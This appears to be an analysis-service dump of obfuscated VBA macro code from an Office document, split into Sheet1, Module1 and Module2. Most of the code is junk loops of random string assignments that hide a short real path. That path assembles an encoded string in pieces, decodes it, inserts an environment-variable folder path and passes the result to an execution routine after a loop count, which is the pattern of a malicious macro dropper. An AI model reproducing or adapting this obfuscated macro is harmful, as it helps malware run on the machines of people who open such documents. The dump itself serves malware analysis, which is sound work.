    thrtpzp = thrtpzp + " [GjJ"
    AjbzCRXCQFSH = 230 - 992 - 676
    RdVzHXFOFdks = RTrim("FeS$S L.?gz mWD  ")
    RdVzHXFOFdks = StrReverse("A N W[ZPVzBLW")
    VtIaSyBS = StrReverse("     nDCrbaZ_T")
    For aYzXVh = 0 To 10
        AjbzCRXCQFSH = RTrim(" UmQ K  a Y")
        wEOiymcSwCG = Left("z( aFb   cW]kL", 2)
        FrBwEntDVxFz = "ujb M Ji  bH" + "@pni   KhTu " + "mug.& F P.E"
        oMDgWsBSgl = Right("VTpZ GP  Y(lkU[ ", 4)
        VtIaSyBS = Space(8)
        IIJvzkWl = Left("Lq y)aKi  uHZlL", 3)
        wEOiymcSwCG = " (ayHtm SN T P" + "V H  ^so.r" + "- MvVyFQ&F Y"
        RdVzHXFOFdks = Left("-  cVMHOkqJcZ g [V", 4)
        wEOiymcSwCG = StrReverse(" # APU  XG")
        JYilhKwpsDCE = Left("%G ! T  UIG_wV vQ  ", 5)
        RdVzHXFOFdks = LTrim("oekp EQana")
        IIJvzkWl = " qh T!CWbfHc  " + "L m#I@v!   c e" + "  t$A#F$ # u xEC "
        JYilhKwpsDCE = Right(".Mea?c JP ", 5)
        KwATbmm = LTrim(".-J pUAop) W")
        IIJvzkWl = "M p U  vbqq Csuf" + "   ZEV FHRv ?UclZ " + "@Lfs   _ubO?"
        oMDgWsBSgl = 1101 + 429 + 1442
        RdVzHXFOFdks = Space(15)
        JYilhKwpsDCE = 1035 - 716 - 1362
    Next aYzXVh

    For nMhjsh = 0 To 6
        wEOiymcSwCG = Right("mg wCjOz$ xA ", 4)
        FrBwEntDVxFz = "[H_vG qeldMxf N " + "iv koZ )%$O^Uz" + " ] D$a  i-O M-F h"
        KwATbmm = LTrim("_b    o qkCyeL")
        FrBwEntDVxFz = Space(5)
        VtIaSyBS = Left("_tABi-[ o(d x", 5)
        oMDgWsBSgl = "TNtc!fnN nP( l -!s.J" + "nVR$Q  E hZq" + "E_LF^  [OWb "
        IIJvzkWl = 471 - 1297 - 268
        wEOiymcSwCG = RTrim(" -j^ #rKwTSou)")
        oMDgWsBSgl = 826 - 584 - 1285
    Next nMhjsh

    thrtpzp = thrtpzp + "J .-^"
    FrBwEntDVxFz = RTrim("vKj %fwDA E")
    KwATbmm = Space(2)
    VtIaSyBS = LTrim("CrW $J!CA[ kFZ")
    FrBwEntDVxFz = RTrim(".tqqXV( Q!&y wh")
    VtIaSyBS = StrReverse(" KV(P(y _ z^V D J")
    IIJvzkWl = RTrim(")kNM[ qPvccwv$w ")
    AjbzCRXCQFSH = LTrim("WM]c NyW%G")
    FrBwEntDVxFz = RTrim(" fI pst?  -hpJ[!Q  E")
    For OlVEya = 0 To 5
        JYilhKwpsDCE = LTrim("(. jQIYq %Cv")
        wEOiymcSwCG = UCase("jY ?_z#_BK lm Yk ")
        JYilhKwpsDCE = "aAR^ Hmj   Wjxd j" + "kd(Ju fB  CP(HVT T" + "!Ic  v^Vrn"
        IIJvzkWl = LTrim(" ZiI] HPC kg")
        VtIaSyBS = StrReverse("B_jaH?WkhOX   G  xsD")
        FrBwEntDVxFz = 1646 - 1159 - 574
        AjbzCRXCQFSH = 586 - 688 - 1608
        AjbzCRXCQFSH = LTrim(" @ CiKJ_  # ")
        VtIaSyBS = Right("ud%s  vEUc  wM", 4)
        wEOiymcSwCG = Space(18)
    Next OlVEya

    JYilhKwpsDCE = Left("UA A@ q.?CXvbUIz^ ", 2)
    thrtpzp = thrtpzp + "le ^ "
    RdVzHXFOFdks = StrReverse("?s Iwx?sf ZF% Dsy%w")
    mxMHL = Space(17)
    IIJvzkWl = LTrim("eol M$$n GGIr iKy%")
    wEOiymcSwCG = Space(11)
    For ztpVvR = 0 To 6
        KwATbmm = RTrim("S z MSx # V")
        VtIaSyBS = "kD(]J)XHShZ c@-# YJ" + " SJcpQ u %G lk   p$#" + "@  H- )wE  D N HG "
        RdVzHXFOFdks = " l  lCVRs ^-" + "HQxJoQV fNu O" + "km(@! u T[A  p"
        RdVzHXFOFdks = "  VRL%RRM_" + "y(! pN H T%" + " - n dTqf%i zVIG wM"
        JYilhKwpsDCE = Space(7)
        oMDgWsBSgl = StrReverse(" z.i([) EN#%C")
        IIJvzkWl = "Wxx HyV[oK R qYC" + "yv W J! ecWx fY )$" + "LqjE In%z x .hdc"
        VtIaSyBS = RTrim(". DyFdbz.u  F]uu")
        oMDgWsBSgl = UCase("UR)[r@ -] [Y ")
        RdVzHXFOFdks = RTrim(" Y    i^? U")
        oMDgWsBSgl = 410 + 1369 + 143
        KwATbmm = StrReverse(". H n  i! ")
        oMDgWsBSgl = 1623 - 327 - 259
        JYilhKwpsDCE = Space(3)
        IIJvzkWl = 1725 + 1100 + 829
        KwATbmm = Right("vX E uCT% VLnN  ", 5)
        FrBwEntDVxFz = UCase(" (!V UMgJ  kw")
    Next ztpVvR

    thrtpzp = thrtpzp + "xRPje"
    FrBwEntDVxFz = RTrim(". n   #_..P$m$]@G")
    KwATbmm = UCase("jVRe (uoA  ]?[mz )f")
    While vcUYGr < 4
        For WaQAzA = 0 To 5
            AjbzCRXCQFSH = LTrim("  hz   !([MX ")
            AjbzCRXCQFSH = " & KWh wuS oPDV" + "].? t.j#UGR r M y   " + "Tw%fbl s hWfp W"
            KwATbmm = RTrim("md-k%U$M pT ka")
            IIJvzkWl = LTrim("     Va[Y )!-qZu")
            oMDgWsBSgl = "Sj &%w vE a " + "n# AisiR&?%L- " + "!z KvG  &O?fd&G OFPT"
            wEOiymcSwCG = StrReverse("y ]V KI  & o@")
            IIJvzkWl = Left("olKMaCDMpmyY& ?wm@", 4)
        Next WaQAzA

        oMDgWsBSgl = Left("XfD$W [[f c", 5)
        FrBwEntDVxFz = Space(4)
        JYilhKwpsDCE = Left(".r $xDFacbGL RvSFr U", 2)
        wEOiymcSwCG = LTrim("J  ^ B B   U")
        oMDgWsBSgl = Space(12)
        VtIaSyBS = UCase("KMKga )IKla")
        KwATbmm = Space(3)
        KwATbmm = 290 - 650 - 1920
        FrBwEntDVxFz = StrReverse("mK ay  _ [GEp RIu-")
        VtIaSyBS = Right("r?yb  q  CKH ?#g$ I", 4)
        wEOiymcSwCG = "S^P an o zRdtqqs   " + " _&] zgM Zq^d" + "QB kEQ#R X"
        mxMHL = LTrim(" fmR sg SOFd")
        vcUYGr = vcUYGr + 3
    Wend

    wEOiymcSwCG = 278 - 1507 - 641
    AjbzCRXCQFSH = UCase(" es  G$Y  T--&  P")
    thrtpzp = thrtpzp + "zwL"
    RdVzHXFOFdks = RTrim(" d(  CQweN X qi")
    oMDgWsBSgl = StrReverse("V  D y RPx?Z)@ E")
    mxMHL = 1046 - 766 - 1298
    For dOKHEw = 0 To 5
        oMDgWsBSgl = Space(13)
        VtIaSyBS = RTrim("veAO . mgz")
        oMDgWsBSgl = RTrim(" B-?_@ Suc")
        IIJvzkWl = LTrim(" j fpA  _BI")
        RdVzHXFOFdks = UCase("ML SRx ? ^")
        wEOiymcSwCG = Space(2)
        mxMHL = "Vv bBQ X XI" + " lNkb D  ZKhdUe" + "k@ yMXA tJ Xp f&pT b"
    Next dOKHEw

    JYilhKwpsDCE = StrReverse("Q_SE  Cd E$@P cKQ")
    RdVzHXFOFdks = Left("o q]BPW[(^OAB USh-", 4)
    oMDgWsBSgl = LTrim(" vfrqA%l T)jp_KpT ")
    For cabLSh = 0 To 6
        VtIaSyBS = Space(19)
        FrBwEntDVxFz = UCase(")H$ZMhyerGa")
        KwATbmm = "(n] C l  DCYF JD#? D" + "e? ubWUc dh kkNF  " + "Tr v$s^oCvpK SPb qN"
        oMDgWsBSgl = 984 + 831 + 1182
        RdVzHXFOFdks = StrReverse("$ H a#j[gjLEE?")
        VtIaSyBS = 1106 - 1627 - 311
        RdVzHXFOFdks = Right("F) wKq-   ll psxJ", 3)
        oMDgWsBSgl = LTrim("XX n!nVhY  Bx^bk")
        FrBwEntDVxFz = Right("InwU(Zo ) [fj%", 5)
        KwATbmm = Space(19)
    Next cabLSh

    thrtpzp = Replace(SnYFI(thrtpzp), "FOLDER", Environ(SnYFI("A u?lU Ql_l$U$q$szZoeTvCrn.-sWzcP ptrg Yog Vfrb.iVN lD Geb_)")))
    VtIaSyBS = Left("Hi POi Qm$", 3)
    oMDgWsBSgl = Left(" SE  %Fse!u mz .O", 4)
    For WagncR = 0 To 3
        While TTsEzE < 2
            JYilhKwpsDCE = StrReverse(" &R TNmF uC&LR.d")
            FrBwEntDVxFz = 1376 + 1649 + 371
            FrBwEntDVxFz = Left("I! GjjE%n  R-CgCd", 4)
            VtIaSyBS = Space(18)
            AjbzCRXCQFSH = RTrim("RIRi^sUGf U")
            mxMHL = 1518 - 1551 - 1229
            wEOiymcSwCG = StrReverse("Lave) j(y Qo !ibneD")
            TTsEzE = TTsEzE + 3
        Wend

        FrBwEntDVxFz = Right(" N bsoNQ%RgW sNJ VG ", 3)
        RdVzHXFOFdks = "dBl w  ^ [bP" + " V] mUeQ  y  %k@Y M" + " & Hx @gj  RCYl.UqW "
        AjbzCRXCQFSH = UCase("  w E WQE . ")
        AjbzCRXCQFSH = Right("  AV mU ) !", 5)
        VtIaSyBS = Left("AIWZB ID _  Sa", 2)
        AjbzCRXCQFSH = 1216 + 231 + 1949
        mxMHL = Right(" lW! U     A&?r&&Y", 2)
        wEOiymcSwCG = LTrim("T H M   -  ")
        FrBwEntDVxFz = LTrim("]c   )[ cWGUUv.ydHW ")
        JYilhKwpsDCE = LTrim("i   YJ^_r. $  G")
        wEOiymcSwCG = "PTYUK)(dVWQGM" + "y# e#MQTQzc Oi" + "WK  CZ$JO%IJuavV["
        KwATbmm = "L$Vm$bmT   X" + " IJL]P p dP d b-&v" + "-j  V th r[Kc r "
        IIJvzkWl = Space(2)
    Next WagncR

    wEOiymcSwCG = Space(11)
    oMDgWsBSgl = Right(" P!gKzVMhkLb", 4)
    For MxTQOg = 0 To 3
        For ZuNXdI = 0 To 9
            RdVzHXFOFdks = Left("i U #eYMyaY Si%GxGQ", 4)
            mxMHL = Right("r &NWuph ?U  !( URWd", 2)
            wEOiymcSwCG = RTrim("c@o-@WWg gf")
            FrBwEntDVxFz = Right("p#  mRgl MT  ##", 5)
            KwATbmm = "js z  #i z].  .y" + " TCctTQa  &v vt" + "L G& o?- mj"
        Next ZuNXdI

        VtIaSyBS = UCase("@cXp(rGnu. ")
        mxMHL = UCase("k[_Qj  ^  mx&(")
        FrBwEntDVxFz = StrReverse("F? Hp ybXAe# BQB")
        mxMHL = StrReverse("njEutA$YXmybtO")
        oMDgWsBSgl = 399 - 1851 - 1441
    Next MxTQOg

    While QwLRDiu < 412
        For OUpTJv = 0 To 4
            While ysfUYv < 4
                AjbzCRXCQFSH = Left("%pnFS  _V-jjEg f  B", 5)
                RdVzHXFOFdks = RTrim("UqSZ tcSxf mgLMBpMNN")
                IIJvzkWl = StrReverse("sEwTMvD eD")
                VtIaSyBS = "sDtfric q^Q" + "FZusipKu h. R- V#yq" + "C  $d.c G X)Q"
                mxMHL = "   V oLn m" + "_ [ X  ( ilAuYG ^J)(" + "S#l  $]  CXk U"
                VtIaSyBS = RTrim("Mrc JF zwHAR ._T]")
                IIJvzkWl = StrReverse("RoH  @t(gwt(ZFZi ^P")
                JYilhKwpsDCE = "W_$E uI $j " + "  BcF x ]bk!)UF" + ".?VJUWguTP(F# -E&K "
                RdVzHXFOFdks = Right("Eay )t-Ex Ln  m[", 5)
                ysfUYv = ysfUYv + 1
            Wend

            mxMHL = 1915 - 1926 - 1977
            KwATbmm = 669 - 274 - 1147
            wEOiymcSwCG = " DuPboAA  pyj^" + "M  z?vsnt u A" + " aWLu wv&j"
            FrBwEntDVxFz = Space(16)
            oMDgWsBSgl = Left("g ! ElJFfH cr U", 4)
            AjbzCRXCQFSH = LTrim("Ng  i)c  q T.)ddU& ")
            oMDgWsBSgl = StrReverse(" ZZ uOnQA.KFk@w")
            AjbzCRXCQFSH = Left("hR [R#i(( RmY]", 4)
            JYilhKwpsDCE = UCase("Kk  V dr!OEkX hDfgh")
        Next OUpTJv


        If QwLRDiu = 171 Then
            While vSBENf < 2
                FrBwEntDVxFz = Left("G $?-  .%.i$", 3)
                VtIaSyBS = RTrim("kHJ # Vt  ")
                AjbzCRXCQFSH = Left("_.RZv_qG )$i. &", 5)
                IIJvzkWl = Space(19)
                VtIaSyBS = Left(" (  rEnzfh ", 3)
                IIJvzkWl = Right("rx   @ b! Zs LnJ", 3)
                IIJvzkWl = StrReverse("^i#  BY JWe-DPU ")
                wEOiymcSwCG = Space(20)
                VtIaSyBS = "&g Y  qb RkgVe" + " % dh  v iV  " + "  SoEg  F "
                FrBwEntDVxFz = 684 + 1777 + 1215
                wEOiymcSwCG = LTrim(".JqBGX A  k^O")
                VtIaSyBS = 577 + 591 + 473
                FrBwEntDVxFz = RTrim(" IX?   -$^ppK n @S  ")
                FrBwEntDVxFz = Space(16)
                KwATbmm = RTrim("Me-  .?. V  ( I z")
                JYilhKwpsDCE = "jJ vo#^e  ]" + " @jr]X(? N" + " PKf O  C-  Q.q K"
                VtIaSyBS = Space(9)
                KwATbmm = 1565 + 794 + 334
                vSBENf = vSBENf + 1
            Wend

            TJATaJOeu thrtpzp, "LNYrm", "VPdTpp", "igdxN", "yGExgSZS", "VwrIUEptd", "FyUyN"
        End If
    QwLRDiu = QwLRDiu + 1
    Wend
    RdVzHXFOFdks = Left("Di wUWELT h w xr QY(", 2)
    AjbzCRXCQFSH = StrReverse("wIJ M  Z x vg-")
    wEOiymcSwCG = 850 + 684 + 1260
    RdVzHXFOFdks = UCase("cuZf @PWYEu Zp &bq")
    wEOiymcSwCG = StrReverse("C_EfScF$GMG [ awF ")
    oMDgWsBSgl = 160 + 109 + 466
    FrBwEntDVxFz = "  h!E i  l$_RPgKL " + "-  %b X$.I[Qyc " + "i?.D^Z n^#N"
    IIJvzkWl = 497 - 952 - 1424
    For QXpWQM = 0 To 7
        VtIaSyBS = UCase(" y RmrB MU")
        wEOiymcSwCG = Right("  -PXGD(( #D!", 2)
        mxMHL = Space(1)
        wEOiymcSwCG = StrReverse("  c  ONXZ ")
        wEOiymcSwCG = UCase("^WbsWjJ xEZK%W ")
        mxMHL = LTrim("Kb#S wZ   sqGt")
        IIJvzkWl = 1660 + 1064 + 982
        FrBwEntDVxFz = 1200 - 1419 - 1257
        mxMHL = Space(19)
        oMDgWsBSgl = Left(" &]y mZ@ _al ]tn", 3)
        IIJvzkWl = Left("  MqMUR#  e # i]Q &", 2)
        mxMHL = "YhK%A!kG&Lr" + "n-yaXxjEL[#zzBU^ g&" + "v nh!  Le!^uWI Jbpw"
        AjbzCRXCQFSH = " l !  j&U  ?Ei_Mr" + "kBs  BUEXbx@H  ? I" + "AeBLN@ g a "
    Next QXpWQM

    JYilhKwpsDCE = 550 + 936 + 1690


End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function FaLubq(JRhUDhB As Double, jIkyvIk As Double, VFsCXD As Double, osdQqFB As Boolean) As String
    AjbzCRXCQFSH = "R%A# f QNh-" + ".qL q  hyWZey z " + "VPvU ()@  r$Bk@"
    AjbzCRXCQFSH = "(_ Ahu.ki Q!Rjp" + "u.P GM^X(F" + " )]  tR S@$tSWS"
    AjbzCRXCQFSH = LTrim("_hWC  P-K l ")
    mxMHL = StrReverse("poFnE bH . F[n R")
    IIJvzkWl = Left("  m ztHSv?vX paH %b", 4)
    AjbzCRXCQFSH = 1574 + 1015 + 522
    oMDgWsBSgl = LTrim(" pDx N I.P kH x")
    mxMHL = UCase("CzK O vRs c W pEC C")
    JYilhKwpsDCE = Right(" -T%   DuWmXA  Jr", 2)
    KwATbmm = Left("nzY  C_osChIL( DGU ", 4)
    KwATbmm = Right("Pbf.! B K$ q vU &F", 4)
    AjbzCRXCQFSH = 1687 - 1020 - 1718
    AjbzCRXCQFSH = 1322 - 442 - 547
    VtIaSyBS = "hz -$e b -" + " oIWp$ADe !L eD" + "pLI #$] P^voZZ$ Kw"
    FrBwEntDVxFz = Space(6)
    FaLubq = "tKbQZnQKFPFLmnV"
End Function



Sub gyDMLT(dzndhDc As String, fefXciU As Double)
    KwATbmm = Right(" --U $ v( ", 4)
    RdVzHXFOFdks = Right("bT%Uyz jcBIptQ%wf%z", 3)
    JYilhKwpsDCE = 1820 + 717 + 1038
    AjbzCRXCQFSH = "PGd$L mV h(DQ- O ?" + "amA)B ^_  gMgUgeB! L" + "@DbhOjOjlRt"
    FrBwEntDVxFz = "bjytq xnmi  .w " + " dBtuG&Y  V_" + " #rG#Ltgn Wl"
    KwATbmm = Left("  B @bY %Hh&?_R", 4)
    AjbzCRXCQFSH = Space(11)
    mxMHL = StrReverse("!PJQkq_  CvT-e$")
    FrBwEntDVxFz = LTrim("e[A Q$hYv % L")
    oMDgWsBSgl = ")bir??KUiB i" + "WE pt -ZQ(@  OcrJ" + "zk SwhG WwnF   Oz "
    RdVzHXFOFdks = StrReverse(" i-wE@Js[#  # bbS ")
    VtIaSyBS = StrReverse("lk eX  sWOC _ S")
    VtIaSyBS = 1133 + 411 + 531
    JYilhKwpsDCE = RTrim("VSK]W  &] V")
    IIJvzkWl = 820 + 953 + 1630
    RdVzHXFOFdks = 797 + 1552 + 1148
    While GofPkv < 3
        While xFssLK < 4
            IIJvzkWl = LTrim("UZf]dF  e  P rQT r")
            JYilhKwpsDCE = "GhON@) IapJ  &k[ t" + "Oh ejF K  sZ kv  E " + "tnxU p J$QLNUVl!]a"
            RdVzHXFOFdks = 1997 + 1897 + 1928
            AjbzCRXCQFSH = 1795 - 1841 - 1952
            wEOiymcSwCG = 1226 - 1463 - 1435
            xFssLK = xFssLK + 3
        Wend

        mxMHL = RTrim("(   aY@c z   qAde   ")
        mxMHL = UCase(" DEif  oSmwU$VYn  ")
        IIJvzkWl = RTrim("U.W[Z_Lsy ")
        oMDgWsBSgl = 1486 + 1477 + 1749
        RdVzHXFOFdks = Right("IPd QVK W  lWG ", 3)
        JYilhKwpsDCE = StrReverse("^.^g  ( IZ!h$@W &K ")
        mxMHL = 1610 - 1728 - 1699
        FrBwEntDVxFz = RTrim("O kd f  hv& MF")
        IIJvzkWl = 949 - 1295 - 1376
        oMDgWsBSgl = Left("mwUf]p P  A F", 4)
        IIJvzkWl = LTrim("UGrGM nNYr u")
        GofPkv = GofPkv + 3
    Wend

    KwATbmm = 851 + 1644 + 164
    oMDgWsBSgl = 394 - 663 - 959
End Sub


Sub XsFKDh(idrKfO As String, bXMbQBj As Boolean, spjHTHR As Double, cLKDrp As Boolean, rzhMAs As String)
    FrBwEntDVxFz = 1031 + 127 + 892
    VtIaSyBS = RTrim("nkS nHSy? ] [rXRM N ")
    oMDgWsBSgl = "CDYE o x     ) )[s" + " R f jx%_S_ dk?q l (" + "sL@#  #V (RN"
    FrBwEntDVxFz = Right("@Q TcL  (OB^  rd-", 2)
    KwATbmm = RTrim("cC oggB .wwFlsSNvm")
    oMDgWsBSgl = UCase("uD e?pnv-c  B_Z  E r")
    JYilhKwpsDCE = RTrim("pAvkJV Omxt")
    IIJvzkWl = 647 - 1658 - 375
    KwATbmm = "A&[eIIWk[EzEl%_?" + "^eKWoMGd)Gv " + "EmMxb a$N l az O"
    RdVzHXFOFdks = StrReverse("o)l L  %Fa.yv -LxAF ")
    IIJvzkWl = "vD^-.rPqiRSOF]" + "iU Ew)TR Odm$ Wvg " + "C  -  o F "
    KwATbmm = "$ WekXRWk?H B" + "$Q y%W#T!zfA@RNZ" + " QE LB   ^Jxr v !"
    KwATbmm = LTrim(" X[ Wp #BWlq Zz s !")
    While zMQgBE < 1
        While EZrPXA < 2
            FrBwEntDVxFz = Space(5)
            JYilhKwpsDCE = Right("E( (!!FiYcA?  tD@TA", 2)
            KwATbmm = LTrim("t FRK lP [g B s] ")
            AjbzCRXCQFSH = UCase("QtCJC^VAHdl qJ!u[ug")
            wEOiymcSwCG = RTrim(" i AgH)A z^JaG[u- ")
            RdVzHXFOFdks = RTrim("tc%E&Z x.   HIVC ")
            oMDgWsBSgl = UCase("pW .QTO T_o- ")
            KwATbmm = 163 + 1586 + 1888
            RdVzHXFOFdks = 217 + 1306 + 1446
            mxMHL = Space(9)
            VtIaSyBS = LTrim("u-  j BhDlv")
            JYilhKwpsDCE = Left("r  G ZBskQQ", 5)
            RdVzHXFOFdks = 1909 + 1025 + 962
            KwATbmm = 183 - 1482 - 1432
            KwATbmm = "nM@   rup? i o dS@a" + "?G y]DKN&.h fcQ" + "n  KO j WIW@"
            AjbzCRXCQFSH = Left("L. w zeHjQ", 5)
            EZrPXA = EZrPXA + 2
        Wend

        KwATbmm = "[ mO#m  #S ksduCZYy" + "XiG Kdr S B " + "^tkpu kL   ?Ep Lb Sm"
        FrBwEntDVxFz = Space(20)
        AjbzCRXCQFSH = UCase("Tx     ?Cuf qXXd")
        mxMHL = UCase("vv j] Op z")
        oMDgWsBSgl = RTrim("ODER Ox  VyH   ZC")
        KwATbmm = LTrim("@Y s  m J]e ]Y$#")
        mxMHL = 1807 - 695 - 1151
        wEOiymcSwCG = 1071 - 1666 - 1936
        VtIaSyBS = StrReverse("m dJATCK QO")
        JYilhKwpsDCE = 1556 - 637 - 1124
        VtIaSyBS = "X .a gj Hr_yPp$(B" + " ) yP or  leJu  OP" + "?(Xgh  GF-l &"
        wEOiymcSwCG = LTrim("g G ]#. KpN@")
        oMDgWsBSgl = UCase("qS.   ^dP VFi   ")
        oMDgWsBSgl = "swrqSt]vQ  w DB vqy" + "d^aY(P-]HFpSP" + "$&pz w qsi  vIR v"
        RdVzHXFOFdks = 184 + 1376 + 668
        wEOiymcSwCG = Space(20)
        VtIaSyBS = RTrim("$Ut[ A@pu wu% ^&z@")
        mxMHL = Right("FQPX jEh et", 3)
        KwATbmm = Right("QU LVB[oe&", 5)
        zMQgBE = zMQgBE + 3
    Wend

    KwATbmm = UCase("[ RrMA Jo# GL pRnU.I")
    IIJvzkWl = ")a xRF&  &^  bSs x " + "U W )A.lXM&hs" + "w  Q-TMAtM # P] rNw"
End Sub



Attribute VB_Name = "Module2"

Sub pDOQnq(LLXiBBd As Integer, fHasrl As Integer)
    AjbzCRXCQFSH = "r@jZ@KE uv? .FmlV]  " + "  @X  A @v" + "aBi&x  ^S  $"
    AjbzCRXCQFSH = " ?x pJSVXi MI  " + "zajBAk t]iYRd " + "J   [TLSzU yf VG @O"
    JYilhKwpsDCE = Left("I mV $^ #  ", 2)
    While YzWFlU < 1
        JYilhKwpsDCE = RTrim("d EZ#s b jb")
        KwATbmm = LTrim("Q Qi ZXX-CBX")
        IIJvzkWl = Space(19)
        FrBwEntDVxFz = RTrim("   H M E^tU Ga Lh?")
        mxMHL = StrReverse("S@.Z f Eq  Q")
        mxMHL = StrReverse("YB BALB W]S")
        RdVzHXFOFdks = UCase("nh] Lm & ) Gso")
        YzWFlU = YzWFlU + 3
    Wend

    FrBwEntDVxFz = LTrim("ZxTH vnx)@  l?AznnV")
    FrBwEntDVxFz = "vS)L W$)bcEnsu&" + " Bu^ r@ SO(-v@adi#" + "?mn hxDxPF  "
    IIJvzkWl = Left("kpj C Mg(  OP@", 3)
    For vniVsa = 0 To 5
        While hnAJSS < 2
            wEOiymcSwCG = 542 - 944 - 179
            VtIaSyBS = 519 + 1357 + 1231
            RdVzHXFOFdks = Space(13)
            KwATbmm = LTrim("-X) RV  wF  b  f")
            KwATbmm = RTrim("HHN  CLx  dy. Gd c")
            AjbzCRXCQFSH = LTrim("B_q DKu!(DB   %?K ")
            VtIaSyBS = Space(18)
            mxMHL = StrReverse("  US (A % Mh l sw")
            IIJvzkWl = 349 - 1172 - 372
            mxMHL = 542 + 1038 + 159
            KwATbmm = StrReverse("@LITn^vdZzAxX-b ")
            JYilhKwpsDCE = 1499 + 498 + 1723
            wEOiymcSwCG = StrReverse("N% ^   Y  ")
            oMDgWsBSgl = 567 + 509 + 611
            RdVzHXFOFdks = 1528 - 1782 - 1241
            wEOiymcSwCG = LTrim("de  &seFqcJTwf)N( ")
            oMDgWsBSgl = StrReverse(" !c  lk yJJM sF  Kl")
            FrBwEntDVxFz = "  Taq     Pzd Mhr " + "lDM_G[b&Dq [RD" + "^GVVEJ(]@$LB"
            IIJvzkWl = UCase("ntAT-s  iS.Sq s")
            AjbzCRXCQFSH = RTrim("BRGgWo( . NI ")
            hnAJSS = hnAJSS + 2
        Wend

        RdVzHXFOFdks = Right("q u F QYWId[", 5)
        FrBwEntDVxFz = LTrim("O$C zp$EXR)?Km")
        KwATbmm = "@[ KveibI " + "yklwV Hnba%Ew" + "gKJ jLM AWqOsD&  M^U"
        FrBwEntDVxFz = UCase(" EiJ u  TU%zlC d")
        VtIaSyBS = "!@  IRik _" + " ViEV Fsb   YoNUi" + "%Z c Q b)e ^s#Z"
        FrBwEntDVxFz = Left("A t.gFQp rP(g  WJPsr", 2)
        AjbzCRXCQFSH = 1915 + 826 + 863
        JYilhKwpsDCE = LTrim("dtHPn  D kh")
        oMDgWsBSgl = Right("QmH- ^jQAonp", 4)
        FrBwEntDVxFz = "?tQb CI  ] usHe VC" + "Cg  Mv% E)suM#-sEoB" + "kQZ Jy#GsK qS^L "
        IIJvzkWl = RTrim("T b(@cJ Xg")
        VtIaSyBS = StrReverse("-   i Thbjwu")
        mxMHL = StrReverse("s  _v[l[ m[ZvV!q")
        mxMHL = Left(" )qD)[I-Z jvO! jcRXJ", 2)
        FrBwEntDVxFz = Right("rAn a  _x  & u", 3)
    Next vniVsa

    RdVzHXFOFdks = "&)qk?ns]y) VoSa.#  " + "q %q UXW bDLFoJQ" + "p% e%IaT )  W  % ?J"
    wEOiymcSwCG = RTrim(" (eS ICft ] ")
    For DClniU = 0 To 9
        FrBwEntDVxFz = UCase("wrCL yT w#g!")
        AjbzCRXCQFSH = RTrim("# I)$y]Fj Q ")
        KwATbmm = Left("Jd%O_ejbukl   TMDf", 5)
        KwATbmm = UCase("G]RKG pXdG@ FENx")
        RdVzHXFOFdks = UCase("X FT C wUU%bkMC")
        oMDgWsBSgl = LTrim("  UNDnrf& AiLqZQ C%")
        KwATbmm = LTrim("H!FmI@  kq n    ")
        VtIaSyBS = 1908 + 488 + 952
        KwATbmm = StrReverse("r ]Wm ?I  sM%vh")
        RdVzHXFOFdks = RTrim("[ ) Naq$i  qo PIaKc")
        JYilhKwpsDCE = RTrim("l  RLG BY si# .g")
        IIJvzkWl = "Q  LR _SWnAj ] R Ug" + "plUT PG] H" + " OQ@PK% vC"
        RdVzHXFOFdks = Right("NX %z eV    S ", 2)
        KwATbmm = RTrim("S^  H pw(Ap#pc ")
        oMDgWsBSgl = LTrim("SCO %  FsgGx")
        oMDgWsBSgl = 483 + 361 + 673
        oMDgWsBSgl = 160 + 127 + 685
        mxMHL = Right("G bOzKrQBdSur   P@", 3)
        JYilhKwpsDCE = RTrim("RkR z Hb zy")
        wEOiymcSwCG = "hZkBPP P) ?dRMLahD" + "OPk^pH$ ab " + "VEo.N  bEa  aD ("
…

Open this report in the interactive analyzer, or submit your own file for analysis.